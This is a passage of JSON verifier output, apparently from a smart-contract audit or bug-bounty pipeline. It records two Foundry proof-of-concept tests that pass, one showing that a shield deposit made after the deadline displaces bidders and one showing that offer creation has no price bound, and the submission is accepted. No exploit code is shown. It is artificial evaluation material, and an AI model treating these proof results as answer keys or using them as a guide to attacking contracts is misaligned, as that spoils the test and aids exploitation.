files with Solc 0.8.26\nSolc 0.8.26 finished in 1.19s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-c97581ce/Proof_4d455a6d0b1d.t.sol:PocLateShield\n[PASS] test_postDeadlineShieldDepositDisplacesBidders() (gas: 824492)\nLogs:\n  bob IMD received: 1000000000000000000000\n  mallory IMD received: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.79ms (472.01µs CPU time)\n\nRan 1 test suite in 3.80ms (1.79ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1814,"exitCode":0,"name":"proof 7cf3ccaf528e","output":"Compiling 2 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.11s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-4a4e9b75/Proof_7cf3ccaf528e.t.sol:PocNoPriceBound\n[PASS] test_createOfferHasNoPriceBound() (gas: 693288)\nLogs:\n  expected lotCost: 9500000000000000000\n  actual lotCost: 9500000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.43ms (282.88µs CPU time)\n\nRan 1 test suite in 3.10ms (1.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e4e4f3b827afa7272041a0433acc7d3bc6a34815c2bc1d59e5eb780daf0c94a9","verifiedTreeHash":"8e035629ed5c6271643c5578e19456af1926d323","verifierVersion":"0.1.0+6b1a2333"}]}